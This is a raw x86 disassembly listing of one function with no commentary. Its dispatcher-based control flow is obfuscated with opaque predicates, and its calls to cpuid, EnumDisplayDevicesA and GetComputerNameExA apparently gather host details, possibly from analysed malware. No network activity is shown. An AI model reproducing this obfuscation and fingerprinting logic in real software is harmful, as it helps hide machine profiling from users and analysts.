cmp eax, 0x674fda92
jne 0x4341e7
mov eax, dword [esi + 0x48]
mov dword [esi], 0x753381f7
jmp 0x4341e7
cmp eax, 0xc612c5ac
jg 0x436c62
cmp eax, 0xc506f8ea
je 0x438277
cmp eax, 0xc5819afb
je 0x438285
cmp eax, 0xc5e14dae
jne 0x4341e7
mov eax, dword [esi + 0x154]
mov byte [eax], 0
mov dword [esi], 0x4160e19b
jmp 0x4341e7
cmp eax, 0x11f24230
jg 0x436ca2
cmp eax, 0x10f35983
je 0x4382ab
cmp eax, 0x114320ae
je 0x4382c0
cmp eax, 0x1171bc90
jne 0x4341e7
mov edi, dword [esi + 4]
add edi, 0x39
mov eax, edi
shr eax, 5
mov dword [esi + 4], eax
push eax
call fcn.004341d0
add esp, 4
mov eax, 0x7b829d7e
cmp edi, 0xea0
jb 0x435966
mov eax, 0x7f31619f
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x9c2167db
je 0x4382f0
cmp eax, 0x9c2fd435
je 0x438343
cmp eax, 0x9c55db8d
jne 0x4341e7
mov eax, dword [esi + 4]
mov ecx, 0xf6
add eax, ecx
shr eax, 5
imul edi, eax, 0x2a2d
add edi, 0x57
mov eax, edi
shr eax, 0xc
mov dword [esi + 4], eax
push 0x5213
push eax
push 0x3848
call fcn.004250b7
add esp, 0xc
mov eax, 0xfb735db9
cmp edi, 0x12000
jae 0x4359d1
mov eax, 0x8b26ba60
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x4e4af96b
je 0x43835d
cmp eax, 0x4f3bd559
je 0x438377
cmp eax, 0x4fabe3a2
jne 0x4341e7
mov eax, dword [esi + 4]
shr eax, 0xa
imul eax, eax, 0x34
add eax, 0x3187
mov dword [esi + 4], eax
push 0x550a
push 0x1b05
push eax
push 0x4d60
call fcn.004399a0
add esp, 0x10
mov dword [esi], 0x444b1400
jmp 0x4341e7
cmp eax, 0xf59aa411
je 0x43838e
cmp eax, 0xf5ffcb43
je 0x4383c3
cmp eax, 0xf7292251
jne 0x4341e7
mov edi, dword [esi + 4]
shl edi, 0x17
add edi, 0x65ffff87
mov dword [esi + 4], edi
push 0x42ff
push 0x217a
push 0x5306
push edi
call fcn.004399a0
add esp, 0x10
push 0x152d
push 0xdc1
push 0x4bcb
push edi
call fcn.00439900
add esp, 0x10
mov dword [esi], 0x7b829d7e
jmp 0x4341e7
cmp eax, 0x2eac4378
je 0x43840a
cmp eax, 0x2f07c3be
je 0x43843b
cmp eax, 0x301d9481
jne 0x4341e7
push dword [esi + 0x3c]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
mov dword [esi], 0x114320ae
jmp 0x4341e7
cmp eax, 0xb3ca34d2
je 0x438473
cmp eax, 0xb48e79f6
je 0x43848a
cmp eax, 0xb5399fba
jne 0x4341e7
mov dword [esi + 4], 0
call fcn.004079ef
mov dword [esi], 0xe38d4443
jmp 0x4341e7
cmp eax, 0x79322a22
je 0x4384a7
cmp eax, 0x7a18dbdd
je 0x4384b9
cmp eax, 0x7b829d7e
jne 0x4341e7
push eax
mov eax, esp
mov dword [esi + 0x14], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x24], eax
mov dword [esi], 0xe2e8a630
jmp 0x4341e7
cmp eax, 0xd05b7f21
je 0x4384d5
cmp eax, 0xd1dcb68d
je 0x4384ee
cmp eax, 0xd2823ab7
jne 0x4341e7
mov eax, dword [esi + 8]
shr eax, 9
imul ecx, eax, 0xad
imul eax, eax
shr ecx, 5
imul edx, eax, 0x6015
dec edx
add ecx, 0xe8
mov dword [esi + 8], ecx
mov ecx, 0xf59aa411
cmp eax, edx
je 0x435b95
mov ecx, 0xe2fec062
mov dword [esi], ecx
jmp 0x4341e7
cmp eax, 0xfbe92400
je 0x43850f
cmp eax, 0xfc921bf5
je 0x43852f
cmp eax, 0xfca43b8f
jne 0x4341e7
xor edi, edi
mov dword [esi + 4], edi
push edi
call fcn.004341d0
add esp, 4
push 0x5216
push edi
push 0x5cf6
push 0x5f07
call fcn.00439900
add esp, 0x10
mov dword [esi], 0x2e79a0db
jmp 0x4341e7
cmp eax, 0x82fc375f
je 0x438553
cmp eax, 0x8390bd74
je 0x438561
cmp eax, 0x83fc6d78
jne 0x4341e7
push 0xa
push dword [esi + 0xe4]
push dword [esi + 0x124]
call fcn.0044b6cc
add esp, 0xc
mov dword [esi], 0x11f24231
jmp 0x4341e7
cmp eax, 0x3478b7e1
je 0x43858f
cmp eax, 0x34af77a1
je 0x4385b8
cmp eax, 0x357cb794
jne 0x4341e7
movzx ebx, word [esi + 6]
and ebx, 0xffffff80
add ebx, 0xfffff38a
mov dword [esi + 4], ebx
push 0x2759
push ebx
push 0x1725
call fcn.004250b7
add esp, 0xc
push 0x5625
push 0x5963
push 0x50d8
push ebx
call fcn.00439900
add esp, 0x10
mov eax, 0x8792d193
cmp ebx, 0x52
jae 0x435c9b
mov eax, 0x83fc6d78
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xda9cda1e
je 0x4385dd
cmp eax, 0xdc12883b
je 0x4385fc
cmp eax, 0xdcc6f548
jne 0x4341e7
mov eax, dword [esi + 4]
shl eax, 0xa
lea eax, [eax + eax*4]
shr eax, 0xe
imul ecx, eax, 0x6200000
mov dword [esi + 4], ecx
mov eax, 0xc3ec41d0
cmp ecx, 0x51
jl 0x435ce7
mov eax, 0x86f9a22e
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x154e76aa
je 0x43863d
cmp eax, 0x157b8e02
je 0x43864b
cmp eax, 0x15a09b8c
jne 0x4341e7
mov eax, dword [esi + 0x9c]
mov word [eax + 0x18], 0
push 0x18
push 0x466bc0
push dword [esi + 0x9c]
call fcn.00441d60
add esp, 0xc
mov dword [esi], 0xab8a5b55
jmp 0x4341e7
cmp eax, 0xa014e768
je 0x438672
cmp eax, 0xa0154fbc
je 0x43869b
cmp eax, 0xa01a6a88
jne 0x4341e7
mov dword [esi], 0x2b60bfed
jmp 0x4341e7
cmp eax, 0x5616715c
je 0x4386c4
cmp eax, 0x56e558fd
je 0x4386cf
cmp eax, 0x579967ae
jne 0x4341e7
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x19c]
mov dword [eax + 8], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1a0]
mov dword [eax + 0xc], ecx
mov eax, 0x80000003
xor ecx, ecx
cpuid
mov dword [esi + 0xb4], eax
mov dword [esi + 0xb8], ebx
mov dword [esi + 0xbc], ecx
mov dword [esi + 0xc0], edx
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xb4]
mov dword [esi + 0x1a8], eax
mov dword [esi], 0xdd53c68
jmp 0x4341e7
cmp eax, 0xba6311c4
je 0x43870b
cmp eax, 0xbae1f94a
je 0x438742
cmp eax, 0xbb71be43
jne 0x4341e7
mov ecx, dword [esi + 8]
shr ecx, 5
imul ecx, ecx
imul edx, ecx, 0x7cb3
dec edx
mov dword [esi + 8], 0
mov eax, 0xaed98af3
cmp ecx, edx
je 0x435e30
mov eax, 0x6481c9f3
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x9846d7b
je 0x43876d
cmp eax, 0xa2b8fef
je 0x438796
cmp eax, 0xa87d953
jne 0x4341e7
mov eax, dword [esi + 8]
lea eax, [eax + eax*4]
shl eax, 5
add eax, 0xfffff253
mov dword [esi + 8], eax
mov dword [esi], 0x8c9a7c36
jmp 0x4341e7
cmp eax, 0x90a7d722
je 0x4387ef
cmp eax, 0x92472d11
je 0x438805
cmp eax, 0x93d0aca9
jne 0x4341e7
mov ecx, dword [esi + 4]
shl ecx, 9
add ecx, 0xfc2f3c00
and ecx, 0xfff80000
mov dword [esi + 4], ecx
mov eax, 0x47ca0205
cmp ecx, 0x42
jl 0x435eb9
mov eax, 0xd9c3e8f0
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x427e6b9c
je 0x43883f
cmp eax, 0x43745cb4
je 0x43885d
cmp eax, 0x444b1400
jne 0x4341e7
mov dword [esi], 0x8eaab81d
jmp 0x4341e7
cmp eax, 0xeb1fd2bb
je 0x438874
cmp eax, 0xec44c6ee
je 0x438888
cmp eax, 0xed1b63f6
jne 0x4341e7
shl dword [esi + 8], 0x11
mov dword [esi], 0x3b0a7754
jmp 0x4341e7
cmp eax, 0x26f04997
je 0x43889c
cmp eax, 0x2709ba19
je 0x4388d0
cmp eax, 0x2953b9f6
jne 0x4341e7
shl dword [esi + 4], 0x18
mov dword [esi], 0x81e12f62
jmp 0x4341e7
cmp eax, 0xac4128e7
je 0x4388ea
cmp eax, 0xacd3253b
je 0x4388fe
cmp eax, 0xad5b1702
jne 0x4341e7
mov eax, dword [esi + 8]
mov ecx, 0xc0
add eax, ecx
mov ecx, eax
shr ecx, 9
imul eax, eax
imul edx, eax, 0x7bab
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x24f64721
cmp eax, edx
je 0x435f97
mov ecx, 0x579967ae
mov dword [esi], ecx
jmp 0x4341e7
cmp eax, 0x6b406907
je 0x438913
cmp eax, 0x6d1dd2ca
je 0x438946
cmp eax, 0x6d5ca6a6
jne 0x4341e7
mov eax, dword [esi + 8]
shr eax, 3
imul ecx, eax, 0x39800000
and eax, 0x7fffff
imul eax, eax
imul edx, eax, 0x66e7
dec edx
or ecx, 0xf0
mov dword [esi + 8], ecx
mov ecx, 0xf92adab8
cmp eax, edx
je 0x435ff1
mov ecx, 0x90a7d722
mov dword [esi], ecx
jmp 0x4341e7
cmp eax, 0xd562ff25
je 0x438977
cmp eax, 0xd5c46b10
je 0x438982
cmp eax, 0xd5e027db
jne 0x4341e7
mov eax, dword [esi + 0x20]
mov dword [esi], 0x94d41fcc
jmp 0x4341e7
cmp eax, 0x188fec6
je 0x43899f
cmp eax, 0x1afdfd7
je 0x4389bd
cmp eax, 0x229630c
jne 0x4341e7
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x148]
mov dword [esi + 0x14c], eax
mov dword [esi], 0x2e3110c5
jmp 0x4341e7
cmp eax, 0x87c33b4e
je 0x438a10
cmp eax, 0x896a37df
je 0x438a53
cmp eax, 0x89c8dd1e
jne 0x4341e7
mov eax, dword [esi + 4]
shl eax, 5
and eax, 0xffffff80
imul edi, eax, 0x66
add edi, 0xffffebae
mov dword [esi + 4], edi
push 0x1a91
push 0x69
push edi
push 0xb46
call fcn.004399a0
add esp, 0x10
mov eax, 0xd9df720d
cmp edi, 0xd1
jb 0x4360bf
mov eax, 0x48df61c4
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x398a740e
je 0x438ab7
cmp eax, 0x3a46006d
je 0x438af0
cmp eax, 0x3b0a7754
jne 0x4341e7
mov eax, dword [esi + 0x188]
mov word [eax], 0xa
push 2
push 0x55
call fcn.0044d0d3
add esp, 8
mov dword [esi + 0xf4], eax
mov dword [esi], 0xeb070364
jmp 0x4341e7
cmp eax, 0xe2fec062
je 0x438b1d
cmp eax, 0xe38d4443
je 0x438bc2
cmp eax, 0xe49f780e
jne 0x4341e7
mov eax, dword [esi + 4]
lea eax, [eax*4 - 0x1c]
shr eax, 0x12
add eax, 0xa2
shr eax, 0xc
mov dword [esi + 4], eax
mov dword [esi], 0x9c2fd435
jmp 0x4341e7
cmp eax, 0x1b9c2852
je 0x438bde
cmp eax, 0x1c21aa61
je 0x438bfd
cmp eax, 0x1cdc5410
jne 0x4341e7
imul ecx, dword [esi + 4], 0xc11060
add ecx, 0x8c1a
mov dword [esi + 4], ecx
mov eax, 0x2cecd9f4
cmp ecx, 0x8a
jb 0x436196
mov eax, 0xf7292251
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xa572ca24
je 0x438c4d
cmp eax, 0xa63b2d64
je 0x438c81
cmp eax, 0xa645f8e4
jne 0x4341e7
mov eax, dword [esi + 0x84]
mov cl, byte [0x47058c]
mov byte [eax + 0xc], cl
mov ecx, dword [0x470588]
mov dword [eax + 8], ecx
mov ecx, dword [0x470584]
mov dword [eax + 4], ecx
mov ecx, dword [0x470580]
mov dword [eax], ecx
push 6
push 0x47058d
push 0xd
push dword [esi + 0x84]
call fcn.004399a0
add esp, 0x10
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x84]
movzx edx, word [ecx + 0xc]
mov word [eax + 0xc], dx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x2c]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
mov dword [esi], 0xa2289e00
jmp 0x4341e7
cmp eax, 0x6481c9f3
je 0x438cb9
cmp eax, 0x64f6c2e5
je 0x438cfc
cmp eax, 0x65cb1f62
jne 0x4341e7
push 0x14
push 0x466c20
push dword [esi + 0xdc]
call fcn.00441d60
add esp, 0xc
push 4
push 0x466c34
push 0xa
push dword [esi + 0xdc]
call fcn.00439900
add esp, 0x10
push 0x16
push dword [esi + 0xdc]
push dword [esi + 0x60]
call fcn.00441d60
add esp, 0xc
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
push eax
push dword [esi + 0xc]
push dword [esi + 0x60]
push dword [ebp + 8]
call fcn.0041f934
add esp, 0x10
mov dword [esi], 0xac4128e7
jmp 0x4341e7
cmp eax, 0xc3c216ce
je 0x438d11
cmp eax, 0xc3ec41d0
je 0x438d25
cmp eax, 0xc45b011c
jne 0x4341e7
mov eax, dword [esi + 8]
shl eax, 0x11
add eax, 0x144000
mov dword [esi + 8], eax
mov dword [esi], 0x408dfb0c
jmp 0x4341e7
cmp eax, 0xfd4792a
je 0x438d4d
cmp eax, 0x1078dc1c
je 0x438da3
cmp eax, 0x10de9247
jne 0x4341e7
mov eax, dword [esi + 4]
lea edi, [eax*8 + 0x60]
mov dword [esi + 4], edi
push edi
push 0x5964
push 0x4eb
push 0x1abd
call fcn.00439900
add esp, 0x10
mov eax, 0xa0519cc0
cmp edi, 0x19
jae 0x43634f
mov eax, 0xda9cda1e
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x99fadd29
je 0x438dbd
cmp eax, 0x9a40de10
je 0x438e0c
cmp eax, 0x9c15aef3
jne 0x4341e7
xor eax, eax
push eax
push dword [esi + 0x1c]
push eax
push eax
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov dword [esi], 0x850da2bb
jmp 0x4341e7
cmp eax, 0x48df61c4
je 0x438e34
cmp eax, 0x4bc4c343
je 0x438e60
cmp eax, 0x4d3b7e04
jne 0x4341e7
mov eax, dword [esi + 0x140]
lea ecx, [esi + 0x110]
push ecx
push dword [esi + 0xec]
call eax
mov dword [esi], 0x425df280
jmp 0x4341e7
cmp eax, 0xf47aba48
je 0x438e8d
cmp eax, 0xf4d683d7
je 0x438eca
cmp eax, 0xf562b189
jne 0x4341e7
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x98], eax
mov dword [esi], 0x9c2fd435
jmp 0x4341e7
cmp eax, 0x2e79a0db
je 0x438eed
cmp eax, 0x2e8e5f5e
je 0x438f16
cmp eax, 0x2e8f3ae5
jne 0x4341e7
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xb4]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xc0]
mov dword [esi + 0x1b4], eax
mov eax, dword [esi + 0x10]
add eax, 0x10
mov dword [esi + 0x1b8], eax
mov dword [esi], 0xa63b2d64
jmp 0x4341e7
cmp eax, 0xb1a57c9a
je 0x438f24
cmp eax, 0xb218a53a
je 0x438f3e
cmp eax, 0xb3955f7b
jne 0x4341e7
mov dword [esi], 0x427e6b9c
jmp 0x4341e7
cmp eax, 0x7590f0fe
je 0x438f49
cmp eax, 0x782282a6
je 0x438f6f
cmp eax, 0x789b2fa9
jne 0x4341e7
mov eax, dword [esi + 0x20]
mov dword [esi], 0xf33e381b
jmp 0x4341e7
cmp eax, 0xcaa99b05
je 0x438fa6
cmp eax, 0xcad77578
je 0x438fbf
cmp eax, 0xce7ace38
jne 0x4341e7
imul eax, dword [esi + 8], 0x208000
shr eax, 5
imul eax, eax, 0xc4
mov dword [esi + 8], eax
mov dword [esi], 0x81e12f62
jmp 0x4341e7
cmp eax, 0xff0f7585
je 0x43900f
cmp eax, 0xff6a3c06
je 0x439058
cmp eax, 0x579704
jne 0x4341e7
imul edi, dword [esi + 4], 0x68
add edi, 0xffffb5a8
mov dword [esi + 4], edi
call fcn.004079ef
push 0x18e
push 0x399d
push edi
push 0x161e
call fcn.00439900
add esp, 0x10
mov eax, 0x3fd5b54
cmp edi, 0xe3
jb 0x436556
mov eax, 0x164f71a1
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x850da2bb
je 0x439082
cmp eax, 0x863a2336
je 0x4390b2
cmp eax, 0x86c08b96
jne 0x4341e7
mov eax, dword [esi + 0x60]
mov dword [esi], 0xab637620
jmp 0x4341e7
cmp eax, 0x369d02bb
je 0x4390f0
cmp eax, 0x36c848d1
je 0x4390fb
cmp eax, 0x36d9640b
jne 0x4341e7
mov eax, dword [esi + 4]
shr eax, 8
imul edi, eax, 0x1840
add edi, 0xfffffff5
mov dword [esi + 4], edi
call fcn.004079ef
push 0x4b50
push edi
push 0x13b2
push 0x14b8
call fcn.00439900
add esp, 0x10
mov dword [esi], 0x99fadd29
jmp 0x4341e7
cmp eax, 0xe0ce4395
je 0x439174
cmp eax, 0xe112a8d8
je 0x43918e
cmp eax, 0xe1cbe720
jne 0x4341e7
mov eax, dword [esi + 8]
shr eax, 0xb
movzx eax, ax
imul eax, eax, 0xd1
add eax, 0x9496
mov dword [esi + 8], eax
mov dword [esi], 0xd35847e5
jmp 0x4341e7
cmp eax, 0x1896314a
je 0x439199
cmp eax, 0x18d9f315
je 0x4391a4
cmp eax, 0x19710da0
jne 0x4341e7
mov ebx, dword [esi + 4]
shl ebx, 7
and ebx, 0x1ffff80
or ebx, 1
mov dword [esi + 4], ebx
push 0x1d9
push 0x5bac
push ebx
push 0x2063
call fcn.004399a0
add esp, 0x10
push ebx
call fcn.004341d0
add esp, 4
mov eax, 0xe38d4443
cmp ebx, 0x90
jb 0x436690
mov eax, 0x3d690808
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xa16d3975
je 0x4391cc
cmp eax, 0xa1a452a5
je 0x4391d7
cmp eax, 0xa2289e00
jne 0x4341e7
push dword [esi + 0x28]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
mov dword [esi], 0xe0ce4395
jmp 0x4341e7
cmp eax, 0x5ab416d0
je 0x4391f1
cmp eax, 0x5c26d242
je 0x43921e
cmp eax, 0x5e631d97
jne 0x4341e7
push eax
sub esp, 8
mov ebx, esp
mov byte [ebx + 0xa], 0
movzx eax, word [0x470578]
mov word [ebx + 8], ax
mov eax, dword [0x470574]
mov dword [ebx + 4], eax
mov eax, dword [0x470570]
mov dword [ebx], eax
push 6
push 0x47057a
push 0xa
push ebx
call fcn.004399a0
add esp, 0x10
mov eax, dword [esi + 0x24]
mov ecx, dword [ebx + 7]
mov dword [eax + 7], ecx
mov ecx, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
push dword [esi + 0x24]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
lea eax, [esi + 0x1f8]
push eax
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
mov dword [esi + 0x148], eax
mov dword [esi], 0x229630c
jmp 0x4341e7
cmp eax, 0xbde0d5d0
je 0x439229
cmp eax, 0xbeafbe88
je 0x439260
cmp eax, 0xbf762f50
jne 0x4341e7
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x150]
mov word [eax + ecx], 0xa
mov dword [esi], 0x82fc375f
jmp 0x4341e7
cmp eax, 0xcb0fbf0
je 0x439288
cmp eax, 0xd57c854
je 0x4392a1
cmp eax, 0xdd53c68
jne 0x4341e7
imul eax, dword [esi + 8], 0x17fa0000
add eax, 0x6a21c0b8
mov dword [esi + 8], eax
mov dword [esi], 0xe910e548
jmp 0x4341e7
cmp eax, 0x959ee4ba
je 0x4392d1
cmp eax, 0x9659fc8b
je 0x4392dc
cmp eax, 0x9858f92c
jne 0x4341e7
mov dword [esi], 0x1f54ac28
jmp 0x4341e7
cmp eax, 0x45dda33e
je 0x4392e7
cmp eax, 0x461cce8c
je 0x439310
cmp eax, 0x472e3cc0
jne 0x4341e7
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x13c]
mov word [eax + ecx], 0xa
push 1
push 0x8000
call fcn.0044d0d3
add esp, 8
mov dword [esi + 0xec], eax
mov dword [esi], 0x5616715c
jmp 0x4341e7
cmp eax, 0xf145ddcf
je 0x43932a
cmp eax, 0xf18aa5e7
je 0x439358
cmp eax, 0xf1b89798
jne 0x4341e7
movzx eax, byte [esi + 7]
imul eax, eax, 0x93000
mov dword [esi + 4], eax
push eax
push 0x2336
push 0x1c4d
push 0x4441
call fcn.004399a0
add esp, 0x10
mov dword [esi], 0xdc12883b
jmp 0x4341e7
cmp eax, 0x2ba63e6d
je 0x4393a0
cmp eax, 0x2cb551f6
je 0x4393ae
cmp eax, 0x2cecd9f4
jne 0x4341e7
mov eax, dword [esi + 4]
shr eax, 0xe
lea ecx, [eax + eax*4]
lea ecx, [eax + ecx*8]
add ecx, 0xffffee1e
mov dword [esi + 4], ecx
mov eax, 0x524f7fc6
cmp ecx, 9
je 0x4368ff
mov eax, 0xc3c216ce
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xaff9186a
je 0x4393db
cmp eax, 0xb04edff9
je 0x4393f8
cmp eax, 0xb0fa851f
jne 0x4341e7
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 6
imul eax, eax
shr ecx, 0xb
imul edx, eax, 0x2cbf
dec edx
add ecx, 0xffffff38
mov dword [esi + 8], ecx
mov ecx, 0xfe34094c
cmp edx, eax
je 0x436953
mov ecx, 0x673f437d
mov dword [esi], ecx
jmp 0x4341e7
cmp eax, 0x73087033
je 0x439438
cmp eax, 0x73876ae7
je 0x43945e
cmp eax, 0x741bfafd
jne 0x4341e7
imul edi, dword [esi + 4], 0x5c0
add edi, 0xbb3c
mov dword [esi + 4], edi
push 0x5127
push 0x19f6
push edi
push 0x18a3
call fcn.004399a0
add esp, 0x10
push edi
call fcn.004341d0
add esp, 4
mov eax, 0x8792d193
cmp edi, 0x57
jge 0x4369bb
mov eax, 0x8a93974e
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xd7b4c8d6
je 0x43948b
cmp eax, 0xd7d12a07
je 0x4394fe
cmp eax, 0xd88ce2bb
jne 0x4341e7
push 8
push 0x4705d7
push 0x17
push dword [esi + 0x8c]
call fcn.004399a0
add esp, 0x10
mov dword [esi], 0x188fec6
jmp 0x4341e7
cmp eax, 0x4a38f21
je 0x439545
cmp eax, 0x5d2b445
je 0x439581
cmp eax, 0x6c7ffcc
jne 0x4341e7
mov edi, 0xf
push edi
push 0x47053c
push dword [esi + 0x70]
call fcn.00441d60
add esp, 0xc
push 7
push 0x47054b
push edi
push dword [esi + 0x70]
call fcn.004399a0
add esp, 0x10
mov dword [esi], 0xab04b21d
jmp 0x4341e7
cmp eax, 0x8c9a7c36
je 0x43959b
cmp eax, 0x8da7a2e7
je 0x4395b2
cmp eax, 0x8e6e61a8
jne 0x4341e7
mov eax, dword [esi + 8]
shr eax, 6
add eax, 0xea
mov ecx, eax
imul ecx, eax
shr eax, 4
and eax, 0x1ffff
imul edx, ecx, 0x353b
dec edx
add eax, 0xffffff33
mov dword [esi + 8], eax
mov eax, 0x47ca0205
cmp edx, ecx
je 0x436ab0
mov eax, 0xd02223be
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x3f742007
je 0x4395bd
cmp eax, 0x408dfb0c
je 0x4395e7
cmp eax, 0x411b18cb
jne 0x4341e7
mov ecx, dword [esi + 4]
shl ecx, 0x14
mov dword [esi + 4], ecx
mov eax, 0xbd4ff6ac
cmp ecx, 0x49
jl 0x436af0
mov eax, 0xa0519cc0
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xe663ea5a
je 0x439614
cmp eax, 0xe680363f
je 0x439622
cmp eax, 0xe6fb631d
jne 0x4341e7
mov ecx, dword [esi + 4]
mov eax, 0xf6
add ecx, eax
shr ecx, 1
add ecx, 0x88
mov dword [esi + 4], ecx
mov eax, 0x7b829d7e
cmp ecx, 0xf0
je 0x436b3f
mov eax, 0xe2e8a630
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x1fcf7e4a
je 0x43963b
cmp eax, 0x2132dcdb
je 0x439677
cmp eax, 0x222ed80b
jne 0x4341e7
mov edi, dword [esi + 4]
shl edi, 4
add edi, 0xffffffd1
mov dword [esi + 4], edi
call fcn.004079ef
mov eax, 0x92472d11
cmp edi, 0x58
jge 0x436b87
mov eax, 0xf884d28d
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xa8be00b9
je 0x4396a4
cmp eax, 0xa934331e
je 0x4396de
cmp eax, 0xa953ddc3
jne 0x4341e7
push dword [esi + 0x14]
push dword [esi + 0x38]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x3c]
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x8c]
add eax, 0x17
mov dword [esi + 0x15c], eax
mov dword [esi], 0x323e6350
jmp 0x4341e7
cmp eax, 0x67fbd7ba
je 0x4396f5
cmp eax, 0x6a332555
je 0x43972a
cmp eax, 0x6a428a4e
jne 0x4341e7
mov eax, dword [esi + 4]
lea ebx, [eax*8 - 0x4800]
shr ebx, 6
and ebx, 0xffffffe0
add ebx, 0xffffffb4
mov dword [esi + 4], ebx
push 0xe00
push 0x15ab
push 0x2a56
push ebx
call fcn.00439900
add esp, 0x10
push 0x2920
push 0x52b5
push ebx
push 0x3d98
call fcn.00439900
add esp, 0x10
mov eax, 0x7b829d7e
cmp ebx, 0x5d
jae 0x436c5b
mov eax, 0xe2e8a630
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xc612c5ad
je 0x43975d
cmp eax, 0xc7289447
je 0x439798
cmp eax, 0xc790f37e
jne 0x4341e7
push 6
push 0x466b34
push 0xa
push dword [esi + 0x64]
call fcn.00439900
add esp, 0x10
mov dword [esi], 0x6d1dd2ca
jmp 0x4341e7
cmp eax, 0x11f24231
je 0x4397be
cmp eax, 0x12952900
je 0x4397f2
cmp eax, 0x1314e9f5
jne 0x4341e7
mov eax, dword [esi + 8]
shl eax, 0x11
add eax, 0x147fffb
shr eax, 0xc
mov dword [esi + 8], eax
mov dword [esi], 0x127c5d7
jmp 0x4341e7
cmp eax, 0x9d4ee772
je 0x43980b
cmp eax, 0x9ddfb641
jne 0x4341e7
mov eax, dword [esi + 8]
shr eax, 0x13
mov ecx, eax
imul ecx, eax
shl eax, 0xd
add eax, 0x180000
imul edx, ecx, 0x24bd
dec edx
mov dword [esi + 8], eax
mov eax, 0x8410c221
cmp ecx, edx
je 0x436d20
mov eax, 0x7c4f8091
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x5201ec0c
je 0x439820
cmp eax, 0x524f7fc6
jne 0x4341e7
push 0x14
push 0x466b20
push dword [esi + 0x64]
call fcn.00441d60
add esp, 0xc
mov dword [esi], 0xc790f37e
jmp 0x4341e7
cmp eax, 0xf85c6f06
je 0x43986d
cmp eax, 0xf884d28d
jne 0x4341e7
mov eax, dword [esi + 0x120]
xor ebx, ebx
inc ebx
push ebx
call eax
mov dword [esi + 0x124], eax
push ebx
mov edi, 0x20
push edi
call fcn.0044d0d3
add esp, 8
mov dword [esi + 0xe0], eax
push ebx
push edi
call fcn.0044d0d3
add esp, 8
mov dword [esi + 0xe4], eax
mov dword [esi], 0xd914716f
jmp 0x4341e7
cmp eax, 0x3266c6ca
je 0x439890
cmp eax, 0x3276d90c
jne 0x4341e7
mov edi, dword [esi + 4]
add edi, 2
mov dword [esi + 4], edi
push edi
call fcn.004341d0
add esp, 4
push 0x6316
push 0x4a74
push edi
push 0xc03
call fcn.004399a0
add esp, 0x10
mov eax, 0x2132dcdb
cmp edi, 0x77
jge 0x436e01
mov eax, 0x6b406907
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xb749251a
je 0x4398af
cmp eax, 0xb8fc25e5
jne 0x4341e7
mov eax, dword [esi + 0x108]
mov ecx, dword [esi + 0x10c]
mov dword [esi + 0x1dc], eax
mov dword [esi], 0x8390bd74
jmp 0x4341e7
cmp eax, 0x7f31619f
je 0x4398c5
cmp eax, 0x7f5b2380
jne 0x4341e7
mov eax, dword [esi + 4]
add eax, 3
shr eax, 5
and eax, 0x7fffc00
imul edi, eax, 0x56
mov dword [esi + 4], edi
push 0x24a4
push 0x6110
push 0x2567
push edi
call fcn.00439900
add esp, 0x10
mov eax, 0xf145ddcf
test edi, edi
je 0x436e8b
mov eax, 0x89c8dd1e
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xcf0ed0fc
jne 0x4398e8
push dword [esi + 0x5c]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
mov dword [esi], 0x86c08b96
jmp 0x4341e7
mov eax, dword [esi + 0x1ac]
mov ecx, dword [esi + 0x1bc]
mov dword [ecx], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1b0]
mov dword [eax + 0x18], ecx
mov dword [esi], 0x3825f49b
jmp 0x4341e7
mov edi, dword [esi + 4]
shl edi, 0x13
mov dword [esi + 4], edi
push 0x61a
push edi
push 0x3a9e
push 0x426a
call fcn.00439900
